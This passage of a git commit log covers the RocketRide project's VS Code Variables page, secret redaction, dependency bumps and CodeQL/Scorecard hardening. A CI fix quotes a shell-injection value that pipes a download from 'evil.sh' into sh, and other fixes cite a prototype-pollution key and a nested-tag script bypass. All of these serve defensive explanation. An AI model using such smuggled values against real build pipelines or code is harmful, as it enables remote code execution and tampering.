  - Announcements ticker rotates informational cards every 7 seconds

The full popup menu is preserved when a cloud account is signed in
or when dev and deploy use independent connections, since those
states require Account/Logout items and dual status sections.

Panel sash: the resize handles on CreateNodePanel and NodeConfigPanel
used var(--rr-brand) (orange), which looked out of place next to
VS Code's native splitter bars that use --vscode-sash-hoverBorder.

Add a new --rr-sash-hover theme token mapped to --vscode-sash-hoverBorder
in VS Code context, and switch both panel resize lines to use it.
Widened the visible bar from 2px to 4px for better discoverability.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat(vscode): add standalone Variables page for per-connection env management

Adds a new "Variables" webview page accessible from the sidebar footer
that lets users manage ROCKETRIDE_* environment variables independently
for each connection slot (Development / Deployment).

New files:
- EnvironmentProvider.ts — extension host provider with per-slot
  client resolution (unlike AccountProvider's cascading resolveClient),
  connection event listeners on both ConnectionManager and DeployManager,
  and env:getEnv / env:saveEnv message handlers that target a specific
  slot's server.
- EnvironmentWebview.tsx — React webview with a Development/Deployment
  pill bar (TabPanel) in independent mode, hidden in shared mode. Each
  slot renders an EnvironmentSlotPanel: OSS servers show a single
  "Server Variables" card (scope: user → rrext_account_me); SaaS servers
  show Organization/Team/User cards gated by permissions.
- Environment.tsx / index.tsx — CSS theme entry and Rsbuild mount
  entry point following the Account page pattern.

Environment page message protocol (types.ts):
- EnvironmentSlotState — per-slot snapshot (isConnected, isSaas,
  connectionMode, isOrgAdmin, isTeamAdmin, orgId, teamId).
- EnvironmentHostToWebview — env:init (both slots + shared flag),
  env:slotUpdate (single slot change), env:data (loaded env dict),
  env:error.
- EnvironmentWebviewToHost — view:ready, env:getEnv, env:saveEnv.
  Every request includes a slot field so the provider knows which
  server to target.

Sidebar integration (SidebarWebview.tsx, SidebarFooter.tsx):
- Popup mode: "Variables" menu item with BxLock icon, visible when any
  connection is active (anyConnected), positioned between Account and
  Settings.
- Flat mode: "Variables" button rendered between Documentation and
  Settings via a new onEnvironmentClick prop on SidebarFooter, only
  shown when anyConnected is true.
- Announcements ticker now renders in popup mode too (previously gated
  behind flatMode only).

Account page cleanup (AccountView, AccountProvider, AccountWebview):
- Removed env state management (envs map, envKey, loadEnv, refreshSignal
  effect) and EnvScopeCard renders from all three Account tabs (Profile,
  Organization, Teams).
- Removed onLoadEnv / onSaveEnv props from IAccountViewProps.
- Removed account:getEnv / account:saveEnv message handlers from
  AccountProvider and their type entries from AccountWebviewToHost /
  AccountHostToWebview.
- Removed handleLoadEnv / handleSaveEnv callbacks and envResolverRef
  from AccountWebview.
- EnvScopeCard component itself remains in EnvironmentPanel.tsx for
  reuse by both the new Variables page and the SaaS Account page.

OSS server fixes (oss/__init__.py):
- set_env now updates os.environ in-memory (removes stale ROCKETRIDE_*
  keys, then sets new values) before writing the .env file, so get_env
  reflects changes immediately without a server restart.
- set_env now uses sys.executable (engine.exe path) instead of
  sys.argv[0] (script path) for the .env file location, matching the
  load_dotenv path used at server startup in server.py.

Deploy connection fix (deploy-manager.ts):
- setEngineRegistry(): removed the isSharedMode() guard that skipped
  engine status listener registration at startup. The listener is now
  always registered; mode filtering in handleEngineStatus() ensures
  only the matching engine triggers a connection. Previously, switching
  from shared to independent mode left the deploy manager deaf to engine
  ready events because the listener was never set up.
- handleConfigurationChanged() Case 3 (shared to independent): added
  engineRegistry.reconcile() call so a deploy engine that is already
  running re-emits its ready status, which the now-registered listener
  picks up to establish the WebSocket connection.

Layout consistency (styles.ts):
- Added width 100% and boxSizing border-box to commonStyles.tabContent
  so maxWidth 800 includes padding across all tabbed pages (Settings,
  Account, Monitor, Project, Variables). Previously, default content-box
  sizing made Settings cards 60px wider than intended.

Connection mode dropdown (ConnectionConfig.tsx):
- Removed the capabilities.includes('saas') filter that hid the Cloud
  option when currently connected to a non-SaaS server. Users can now
  switch to Cloud mode from any connection state.

Label rename:
- All user-visible "Environment" labels changed to "Variables" (tab
  title, sidebar menu items, EnvScopeCard headers).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat(env): add ${ROCKETRIDE_*} variable autocomplete to node config fields

Add environment variable reference support to the pipeline editor's node
configuration panel, allowing users to type ${ROCKETRIDE_*} references
instead of hardcoding secrets and configuration values.

**Host-side plumbing:**
- Fetch env keys via `getEnvironmentKeys()` on project load (VS Code)
- Thread `envKeys` through the webview message protocol and ProjectView
  prop chain down to RJSF formContext

**Autocomplete UI (shared-ui):**
- New `useEnvVarAutocomplete` hook detects `${` trigger, filters keys
  by partial match, and manages keyboard navigation state
- New `EnvVarSuggestions` popover component using MUI Popper with
  arrow-key navigation and theme-aware styling
- Wired into BaseInputTemplate, TextareaWidget, and ApiKeyWidget

**Validation:**
- NodeConfigPanel `transformErrors` suppresses RJSF client-side errors
  for fields containing `${ROCKETRIDE_*}` values
- Extract `resolve_pipeline_env()` from Task._resolve_pipeline into
  shared `pipeline.py` utility
- `rrext_validate` now resolves env vars before validation (same merged
  env as pipeline execution), so variable references validate correctly
- Update test_env_var_exfil.py to use the shared function

**Bug fix (unrelated):**
- Fix `getHttpUrl()` in ConnectionManager to normalize engineUri before
  parsing, fixing malformed `{host}` replacement in endpoint URLs when
  the on-prem host is configured without a scheme

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat(ui): add category headers to QuickAddPopup and auto-expand on search

QuickAddPopup (handle-click popup):
- Group compatible services by inventory category with bold uppercase headers
- Indent node items under their category for easier scanning
- Extract shared CATEGORY_TITLES into categoryTitles.ts

CreateNodePanel (side panel):
- Auto-expand all categories that have matching nodes during search
- Restore previous expand/collapse state when search is cleared

Fix build errors in EnvironmentProvider:
- Extract Environment protocol types into standalone environmentTypes.ts
  to prevent extension-host tsc from following into views/types.ts (which
  imports shared/modules/* only resolvable under webview tsconfig)
- Wrap Thenable.postMessage in Promise.resolve() to satisfy tsc (VS Code's
  Thenable lacks .catch)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(vscode): deploy shared-mode auth error, secret redaction, env var preflight check

## Deploy manager auth error on startup

DeployManager in shared mode (deployTargetMode=null) was reacting to
engine 'ready' events and opening its own WebSocket with stale deploy
credentials, causing a spurious "Invalid API key" error and unwanted
auth page on every startup — even though the dev connection succeeded.

Root cause: handleEngineStatus() is private in ConnectionManager so
DeployManager could not override it. When both managers received the
same 'ready' event, the deploy manager resolved its null connectionMode
as 'local', sent the wrong API key, and the server rejected it.

Fix: add protected shouldHandleEngineStatus() hook that DeployManager
overrides to return false in shared mode. The listener stays registered
(needed for shared→independent transitions) but the handler no-ops.

## Secret redaction in Output panel

The Output panel was logging raw JSON containing OpenAI keys (sk-proj-*),
chat auth tokens (pk_*, tk_*), and other secrets in plain text. Both the
onTrace handler (DAP request/response) and onEvent handler (apaevt_*
server events) used raw JSON.stringify, bypassing the existing
safeJSONStringify utility in output.ts.

Fix: switch all JSON serialization in onTrace and onEvent to
safeJSONStringify. Extend redaction logic with value-prefix detection
(sk-, pk_, tk_, rr_) so secrets under generic key names are also caught.
The fast-path regex check now includes prefix scanning to trigger the
parse-redact-reserialize path when needed.

## Pre-run environment variable check

Pipelines referencing ${ROCKETRIDE_*} variables would fail at runtime
if those variables weren't defined on the server, with no clear error.

Fix: before running a pipeline, extract all ${ROCKETRIDE_*} references,
compare against the server's known env keys, and if any are missing:
pre-fill them as empty entries in the user scope, open the Variables
page, and show a warning asking the user to fill them in before re-run.

Two code paths covered:
- Canvas run button: shared-ui extractPipelineEnvVars() detects missing
  vars, sends status:missingEnvVars message to host, ProjectProvider
  calls prefillMissingEnvVars().
- Sidebar run: SidebarProvider calls checkMissingEnvVars() directly
  before client.use(), which does the full extract→check→prefill flow.

EnvironmentProvider gains a refreshUserScope() method and a
rocketride.page.environment.refreshUser command so the Variables page
updates after prefilling without requiring manual reload.

## Changelog

Updated CHANGELOG.md with comprehensive release notes covering all
changes since 1.0.3.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(vscode): broadcast env keys to canvas after variable save, UI polish

- Emit shell:envKeysChanged from EnvironmentProvider after env save so
  the canvas config panel refreshes its autocomplete list immediately
- Add project:envKeysUpdate message type and broadcastEnvKeys() in
  ProjectProvider to push fresh keys to all open editor webviews
- Replace custom saveButton styles with commonStyles.buttonPrimary in
  NodeConfigPanel, rename "Save Changes" → "Save"
- Show "${" hint text in config panel footer when env keys are available
- Rename Environment card headers from "Environment" to "Variables"
- Add requiredKeys support to EnvScopeCard save validation

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix: address CodeRabbit review findings

- Fix sash-hover color typo (#007fd4 → #0078d4) in light.json and
  rocketride-default.css to match --rr-border-focus
- Retain AccountProvider, EnvironmentProvider, AuthProvider instances
  and push to context.subscriptions for proper dispose() on deactivation
- Return undefined (not []) from getEnvironmentKeys on failure so
  webview can distinguish "unsupported" from "no keys defined"
- Add ROCKETRIDE_* allowlist filter in handleMissingEnvVars before
  passing webview-originated keys to openWithMissingKeys
- Enforce readonly on ApiKeyWidget: aria-readonly uses ||, input
  readOnly respects both maskApiKey and readonly, hide clear button
- Rename unused onDismiss to _onDismiss in EnvVarSuggestions
- Scope-gate required-key injection to development user scope only
  in EnvironmentWebview (prevents leaking prefill into org/team envs)
- Trim values before checking required keys in EnvScopeCard
- Remove misleading cursor:pointer from non-clickable OverviewTab rows
- Default envKeys to [] in NodeConfigPanel destructuring

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
)

Bumps the gh-actions group with 1 update: [github/codeql-action](https://github.com/github/codeql-action).


Updates `github/codeql-action` from 3.35.4 to 3.35.5
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](github/codeql-action@7fd177f...458d36d)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-version: 3.35.5
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: gh-actions
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
…#928)

* fix(ci): pass _build.yaml inputs as env vars to block shell injection

GitHub expands `${{ ... }}` before the shell parses, so interpolating
string inputs directly into a `run:` body lets a value like

  1.2"; curl evil.sh | sh; #

execute arbitrary shell on the runner. The `inputs.full_version`,
`inputs.build_hash`, and `inputs.build_stamp` values flow in from
`workflow_call` and are reachable from every dispatchable caller of
this workflow (ci.yml, release.yaml, nightly.yaml, experimental-
release.yaml).

In practice the data source today is `_init.yaml`, which reads
`server_version` from `package.json` via `jq` and derives the other
two from `github.sha` and `date -u`. Reaching the sink requires
merging a PR that puts shell metacharacters into the package.json
version field, so this is defense-in-depth rather than a live
exploit — but the interpolation pattern is what CodeQL's
`actions/code-injection/critical` rule flags, and rightly so.

Fix: bind the three string inputs to env vars on the step and
reference them as quoted shell variables in the run body. The shell
receives them via `os.environ`, so the GitHub expression engine
never touches the run command. `matrix.builder_cmd` stays
interpolated — matrix values are set by the caller YAML, not by
user input. `inputs.nodownload` is a boolean evaluated to a literal
flag and is also safe.

Closes CodeQL actions/code-injection/critical alert #631.

* fix(ci): set shell: bash on _build.yaml Build step

CodeRabbit caught a Windows regression I introduced when moving the
string inputs into an `env:` block. The original interpolation worked
on every runner because GitHub expanded `${{ inputs.full_version }}`
into a literal string before the shell touched it, so the shell type
was irrelevant.

The env-var indirection moves the expansion into the shell, which
*does* depend on platform. The `windows-2022` runner in our matrix
defaults to PowerShell Core, and in pwsh `$FULL_VERSION` resolves a
pwsh variable, not the env var (env vars require `$env:FULL_VERSION`).
The Build step would have silently passed `--version=`, `--hash=`, and
`--stamp=` with empty values on Windows — meaning the next published
prerelease/release from this branch would carry a blank version.

`shell: bash` forces all three platforms (ubuntu / macOS / windows) to
use bash; Git Bash is pre-installed on the GitHub-hosted Windows image
and `./builder.cmd` invokes correctly from bash. The same workflow
already uses platform-conditional shells elsewhere (the
`Set up vcpkg nuget / Windows` step is explicitly `shell: pwsh`), so
the pattern is established.

Addresses CodeRabbit review feedback on PR #928.
…rectory with 16 updates (#921)

* chore(deps-dev)(deps-dev): bump the npm-development group across 1 directory with 16 updates

Bumps the npm-development group with 16 updates in the / directory:

| Package | From | To |
| --- | --- | --- |
| [@eslint/js](https://github.com/eslint/eslint/tree/HEAD/packages/js) | `9.39.2` | `9.39.4` |
| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `20.19.30` | `20.19.41` |
| [eslint](https://github.com/eslint/eslint) | `9.39.2` | `9.39.4` |
| [eslint-plugin-react-refresh](https://github.com/ArnaudBarre/eslint-plugin-react-refresh) | `0.4.26` | `0.5.2` |
| [prettier](https://github.com/prettier/prettier) | `3.3.3` | `3.8.3` |
| [lefthook](https://github.com/evilmartians/lefthook) | `2.1.4` | `2.1.6` |
| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.54.0` | `8.59.4` |
| [@jest/globals](https://github.com/jestjs/jest/tree/HEAD/packages/jest-globals) | `30.2.0` | `30.4.1` |
| [jest-jasmine2](https://github.com/jestjs/jest/tree/HEAD/packages/jest-jasmine2) | `30.2.0` | `30.4.2` |
| [ts-jest](https://github.com/kulshekhar/ts-jest) | `29.4.6` | `29.4.9` |
| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.24` | `10.5.0` |
| [@types/adm-zip](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/adm-zip) | `0.5.7` | `0.5.8` |
| [@types/vscode](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/vscode) | `1.108.1` | `1.120.0` |
| [@vscode/test-cli](https://github.com/Microsoft/vscode-test-cli) | `0.0.10` | `0.0.12` |
| [@vscode/vsce](https://github.com/Microsoft/vsce) | `3.7.1` | `3.9.1` |
| [esbuild](https://github.com/evanw/esbuild) | `0.25.12` | `0.28.0` |



Updates `@eslint/js` from 9.39.2 to 9.39.4
- [Release notes](https://github.com/eslint/eslint/releases)
- [Commits](https://github.com/eslint/eslint/commits/v9.39.4/packages/js)

Updates `@types/node` from 20.19.30 to 20.19.41
- [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases)
- [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node)

Updates `eslint` from 9.39.2 to 9.39.4
- [Release notes](https://github.com/eslint/eslint/releases)
- [Commits](eslint/eslint@v9.39.2...v9.39.4)

Updates `eslint-plugin-react-refresh` from 0.4.26 to 0.5.2
- [Release notes](https://github.com/ArnaudBarre/eslint-plugin-react-refresh/releases)
- [Changelog](https://github.com/ArnaudBarre/eslint-plugin-react-refresh/blob/main/CHANGELOG.md)
- [Commits](ArnaudBarre/eslint-plugin-react-refresh@v0.4.26...v0.5.2)

Updates `prettier` from 3.3.3 to 3.8.3
- [Release notes](https://github.com/prettier/prettier/releases)
- [Changelog](https://github.com/prettier/prettier/blob/main/CHANGELOG.md)
- [Commits](prettier/prettier@3.3.3...3.8.3)

Updates `lefthook` from 2.1.4 to 2.1.6
- [Release notes](https://github.com/evilmartians/lefthook/releases)
- [Changelog](https://github.com/evilmartians/lefthook/blob/master/CHANGELOG.md)
- [Commits](evilmartians/lefthook@v2.1.4...v2.1.6)

Updates `typescript-eslint` from 8.54.0 to 8.59.4
- [Release notes](https://github.com/typescript-eslint/typescript-eslint/releases)
- [Changelog](https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md)
- [Commits](https://github.com/typescript-eslint/typescript-eslint/commits/v8.59.4/packages/typescript-eslint)

Updates `@jest/globals` from 30.2.0 to 30.4.1
- [Release notes](https://github.com/jestjs/jest/releases)
- [Changelog](https://github.com/jestjs/jest/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jestjs/jest/commits/v30.4.1/packages/jest-globals)

Updates `jest-jasmine2` from 30.2.0 to 30.4.2
- [Release notes](https://github.com/jestjs/jest/releases)
- [Changelog](https://github.com/jestjs/jest/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jestjs/jest/commits/v30.4.2/packages/jest-jasmine2)

Updates `ts-jest` from 29.4.6 to 29.4.9
- [Release notes](https://github.com/kulshekhar/ts-jest/releases)
- [Changelog](https://github.com/kulshekhar/ts-jest/blob/main/CHANGELOG.md)
- [Commits](kulshekhar/ts-jest@v29.4.6...v29.4.9)

Updates `autoprefixer` from 10.4.24 to 10.5.0
- [Release notes](https://github.com/postcss/autoprefixer/releases)
- [Changelog](https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md)
- [Commits](postcss/autoprefixer@10.4.24...10.5.0)

Updates `@types/adm-zip` from 0.5.7 to 0.5.8
- [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases)
- [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/adm-zip)

Updates `@types/vscode` from 1.108.1 to 1.120.0
- [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases)
- [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/vscode)

Updates `@vscode/test-cli` from 0.0.10 to 0.0.12
- [Changelog](https://github.com/microsoft/vscode-test-cli/blob/main/CHANGELOG.md)
- [Commits](https://github.com/Microsoft/vscode-test-cli/commits)

Updates `@vscode/vsce` from 3.7.1 to 3.9.1
- [Release notes](https://github.com/Microsoft/vsce/releases)
- [Commits](microsoft/vscode-vsce@v3.7.1...v3.9.1)

Updates `esbuild` from 0.25.12 to 0.28.0
- [Release notes](https://github.com/evanw/esbuild/releases)
- [Changelog](https://github.com/evanw/esbuild/blob/main/CHANGELOG-2025.md)
- [Commits](evanw/esbuild@v0.25.12...v0.28.0)

---
updated-dependencies:
- dependency-name: "@eslint/js"
  dependency-version: 9.39.4
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: "@jest/globals"
  dependency-version: 30.4.1
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: "@types/adm-zip"
  dependency-version: 0.5.8
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: "@types/node"
  dependency-version: 20.19.41
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: "@types/vscode"
  dependency-version: 1.120.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: "@vscode/test-cli"
  dependency-version: 0.0.12
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: "@vscode/vsce"
  dependency-version: 3.9.1
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: autoprefixer
  dependency-version: 10.5.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: esbuild
  dependency-version: 0.28.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: eslint
  dependency-version: 9.39.4
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: eslint-plugin-react-refresh
  dependency-version: 0.5.2
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: jest-jasmine2
  dependency-version: 30.4.2
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: lefthook
  dependency-version: 2.1.6
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: prettier
  dependency-version: 3.8.3
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
- dependency-name: ts-jest
  dependency-version: 29.4.9
  dependency-type: direct:development
  update-type: version-update:semver-patch
  dependency-group: npm-development
- dependency-name: typescript-eslint
  dependency-version: 8.59.4
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: npm-development
...

Signed-off-by: dependabot[bot] <support@github.com>

* fix(vscode): pin @types/vscode to ~1.99.0 to satisfy engines.vscode

The npm-development group bump in this PR raised @types/vscode from
^1.108.1 to ^1.120.0, which broke `vsce package` on all three build
matrix runners:

  ::error::@types/vscode ^1.120.0 greater than engines.vscode ^1.99.3.
  Consider upgrade engines.vscode or use an older @types/vscode version

vsce enforces @types/vscode ≤ engines.vscode at build time so the
shipped extension doesn't describe APIs that the declared minimum
VS Code can't provide. apps/vscode/package.json declares
engines.vscode: ^1.99.3, so @types/vscode must stay within 1.99.x.

The previous spec was ^1.99.0, which let pnpm float forward to
1.120.0 over time (the caret allowed the entire 1.x line). Tighten
to ~1.99.0 so future Dependabot bumps within 1.99 still land
automatically but 1.100+ requires an explicit engines.vscode bump.

Resolves to @types/vscode@1.99.1, the latest patch on 1.99.

The other 15 dev-dep bumps in this group (@eslint/js, @types/node,
eslint, prettier, typescript-eslint, jest globals, ts-jest,
autoprefixer, @vscode/test-cli, @vscode/test-electron, etc.) are
unchanged and ride along.

A companion PR adds @types/vscode to .github/dependabot.yml's npm
ignore list so the next weekly bump cycle doesn't re-introduce the
conflict.

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Anand Ray <anand.ray@rocketride.ai>
Top-level `permissions: { contents: write, packages: write, id-token: write }`
on nightly.yaml granted every job in the workflow the union of all writes
any one job needed, including jobs that only consume read-only inputs. The
Scorecard `TokenPermissionsID` rule flags this as the most severe form of
over-grant because top-level writes propagate to every reuse-called
workflow as the upper bound.

Drop the top-level to `contents: read` and raise per-job only where the
job actually writes:

  - build:               contents: read, packages: write
                         (forwarded to _build.yaml for NuGet/vcpkg writes
                          to ghcr.io via VCPKG_BINARY_SOURCES=...readwrite)

  - cleanup-prereleases: contents: write
                         (git push origin --delete <tag> and gh release
                          delete; the tag deletion requires repo write)

  - prerelease:          contents: write, id-token: write
                         (forwarded to _release.yaml for tag push +
                          gh release create + Sigstore keyless signing)

  - docker:              contents: read, packages: write
                         (forwarded to _docker.yaml for ghcr image push;
                          matches release.yaml's docker job pattern)

  - init:                no override, inherits top-level read
                         (_init.yaml is read-only — extracts versions
                          from package.json via jq and stamps github.sha)

The grants mirror the canonical pattern already in place in release.yaml
(committed in the prior TokenPermissionsID cleanup pass that closed #513
and #515 on _build.yaml and _init.yaml).

Closes Scorecard TokenPermissionsID alerts #566 (topLevel contents:write)
and #567 (topLevel packages:write).

The remaining 10 TokenPermissionsID alerts on this repo (#451, #452, #454,
#455, #489, #490, #604, #635, #649, #650) flag job-level writes that are
required for the job's function (ghcr image push, GitHub release publish,
artifact cleanup, model-sync commits). Those are being dismissed
separately with "won't fix" + per-alert justification — Scorecard
penalizes any write, including the unavoidable kind.
…933)

Closes the 9 mechanically-fixable Scorecard `PinnedDependenciesID`
alerts on this repo. Mutable tag references (`@v4`, `:tag`) become
immutable hash references; Dependabot will continue to bump the SHAs
as new versions ship.

GitHub Actions (7 alerts):

  sync-models.yml
    actions/checkout              v4 → 34e1148... #599
    actions/setup-python          v5 → a26af69... #600
    actions/cache                 v4 → 0057852... #601
    peter-evans/create-pull-req.  v7 → 22a9089... #602

  discord-discussions.yml
    actions/checkout              v4 → 34e1148... #644
  discord-issues.yml
    actions/checkout              v4 → 34e1148... #645
  discord-pr.yml
    actions/checkout              v4 → 34e1148... #646

Docker base images (2 alerts):

  docker/Dockerfile.engine
    ubuntu:jammy-20240808
    → @sha256:adbb90115a21969d2fe6fa7f9af4253e16d45f8d4c1e930182610c4731962658   #561

  docker/Dockerfile.mcp
    python:3.12-slim
    → @sha256:9d3abd9fc11d06998ccdbdd93b4dd49b5ad7d67fcbbc11c016eb0eb2c2194891   #471

Both digests are the OCI image index (multi-platform manifest list),
so platform resolution still happens at build time. `jammy-20240808`
is already a date-pinned snapshot tag; `3.12-slim` is a floating
upstream tag and was pinned at the digest current as of 2026-05-20.

The remaining 6 `PinnedDependenciesID` alerts (#465, #466, #467, #468,
#472, #603) flag pip/npm install commands with already-exact version
pins (`twine==6.1.0`, `@vscode/vsce@3.7.1`, `ovsx@0.10.9`, etc.).
Scorecard wants `pip install --require-hashes` or lockfile-driven
installs for these; the ergonomics of doing that for one-shot
workflow installs (and for the `./client-python` local-path install
in Dockerfile.mcp, which can't be hash-pinned at all) outweigh the
incremental supply-chain hardening over an already-exact version
constraint. Those alerts are being dismissed separately with
"won't fix" + per-alert justification.
…934)

Closes 3 Dependabot alerts on the python backend's transitive cryptography
dependency. The two per-node files that pull cryptography directly
(db_mysql/requirements.txt, text_output/requirements.txt) are already
at cryptography==46.0.7, but the baseline file at nodes/src/nodes/
requirements.txt — which Dependabot scans against — left cryptography
unmentioned, so the transitive version resolution was unpinned and
fell to whatever requests/urllib3/httpx pulled in.

Pinning the baseline closes:

  GHSA-r6ph-v2qm-q3c2 (high)   #64
    Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation
    for SECT Curves. Fix: 46.0.5.

  GHSA-m959-cc7f-wv43 (low)    #65
    Incomplete DNS name constraint enforcement on peer names.
    Fix: 46.0.6.

  GHSA-p423-j2cm-9vmq (medium) #66
    Buffer overflow if non-contiguous buffers were passed to APIs.
    Fix: 46.0.7.

Bounded range (>=46.0.7,<47) matches the repo convention for
security-driven dependency floors (handlebars: ">=4.7.9 <5";
protobufjs: ">=7.5.5 <8"; the npm overrides set on root package.json).
Closes Dependabot alert #164 (GHSA-58qx-3vcg-4xpx, medium) — ws is
vulnerable to uninitialized memory disclosure on a crafted Sec-
WebSocket-Protocol header that overflows the parsing buffer. Affects
all 8.x lines below 8.20.1.

  ws  → >=8.20.1 <9   was 8.18.0 + 8.20.1 co-existing in the tree;
                      forces the 8.18.0 caller chain to 8.20.1+

Post-install resolves to ws@8.20.1 only — the 8.18.0 instance is gone.

ws has no direct entry in any package.json on this repo; it's pulled
transitively (typical sources: socket.io adapters, dev-server stacks,
websocket utilities in @rspack/core / vite plugin chains). The
override approach matches how we handled the previous transitive
overrides cluster (#914, #915, #916, #917).

Bounded range (>=fix <next-major) matches the existing repo convention.
The npm-development group bump in PR #921 broke `vsce package` on all
three Build matrix runners:

  ::error::@types/vscode ^1.120.0 greater than engines.vscode ^1.99.3.
  Consider upgrade engines.vscode or use an older @types/vscode version

vsce enforces @types/vscode ≤ engines.vscode at build time so the
shipped extension doesn't describe APIs the declared minimum VS Code
can't provide. apps/vscode/package.json's engines.vscode floor is
^1.99.3 — that floor is a product/UX choice, not something Dependabot
should ratchet up automatically through a routine group bump.

Add @types/vscode to the root npm ignores so the npm-development
group stops trying to bump it. Future @types/vscode updates land
when the team raises engines.vscode in a deliberate PR.

Matches the existing precedent for @rsbuild/*, @rslib/*, @rspack/*
(added after PR #866 tried to downgrade rsbuild across seven
workspaces because Dependabot harmonised to the older per-app pin).

Companion to the fix commit on PR #921 (dependabot/npm_and_yarn/
npm-development-a42da78f69) which pins apps/vscode/package.json's
@types/vscode to ~1.99.0 so pnpm stops floating it forward across
the 1.x line.
…938)

CodeQL js/incomplete-multi-character-sanitization (#476) flagged the
single-pass regex strip in firstSentence as leaving residual `<script`
after one substitution on inputs like `<scri<x>pt>` — the inner `<x>`
gets consumed but the outer pair re-forms a `<script>` tag.

In practice today the output of this function lands in a JSON catalog
file (.rocketride/services-catalog.json) via JSON.stringify, so any
residual HTML would be JSON-escaped before write and not rendered.
But the consumer surface may grow (the catalog could be sourced into
a webview tooltip, an LLM context window, or a markdown preview), and
loop-stripping until idempotent is cheap defense-in-depth that closes
the SAST signal at the source.

Pattern: loop the same regex until `stripped === prev`. Each pass
removes a complete `<...>` span; nested or malformed tags need at
most O(depth) passes (typically 2-3, always terminates because the
output is monotonically shorter on each non-fixed-point iteration).

Closes CodeQL alert #476.
#939)

CodeQL py/stack-trace-exposure (alerts #5 and #6) flagged the
authentication error path returning str(e) directly to the HTTP
client via HTMLResponse / PlainTextResponse. The exception text can
leak library internals — JWT verifier specifics, cryptography binding
errors, file paths in some edge cases — which is information an
attacker probing the auth endpoint can use to fingerprint the stack
and pivot.

Three call sites in _authenticate_credential_inner returned (code,
str(e)):

  - PermissionError from a registered authenticator (401)
  - Generic Exception from a registered authenticator (400)
  - Generic Exception from the built-in account fallback (400)

Now each site:
  1. Logs the actual exception via debug() — operators still see the
     full text in server logs for triage
  2. Returns a generic message to the client — "Authentication failed"
     for 401, "Bad request" for 400

The downstream _format_error helper that wraps the message into the
HTML/text/JSON response is unchanged; only the message contents
flowing into it are sanitized at the source.

The 'No authorization provided' and 'Invalid authorization provided'
branches were already generic and stay as-is.

Closes CodeQL alerts #5 and #6.
)

* fix(scripts): guard state.js dot-paths against prototype pollution

CodeQL js/prototype-pollution-utility (alert #274) flagged setState's
walk loop in scripts/lib/state.js: it splits a dot-notation key into
parts, walks them creating empty objects as needed, then assigns the
value at the leaf. Without a guard, a caller passing
setState('__proto__.polluted', 'x') would set Object.prototype.polluted
for the entire process — and updateState has the same shape.

Callers in this codebase are all in-repo build scripts (not network
input), so this is defense-in-depth rather than a live exploit. But
state.js is a shared utility used by every build/deploy script, and
guarding once at the entry of the two write paths is far cheaper than
auditing every call site.

Implementation: a single assertSafePath(parts) helper at the top of
the module, called at the entry of setState and updateState. Throws
synchronously if any path segment is one of __proto__, constructor,
prototype. The error message names the offending segment to make
debugging obvious if a legitimate caller ever stumbles into it.

deleteKeyAndPrune isn't guarded directly because it's only reachable
through setState/updateState (both now guarded). getState (read path)
is also not guarded — reads of __proto__/constructor return objects
the caller already has access to, so no pollution risk.

Closes CodeQL alert #274.

* fix(scripts): coerce path segments with String() before forbidden-key check

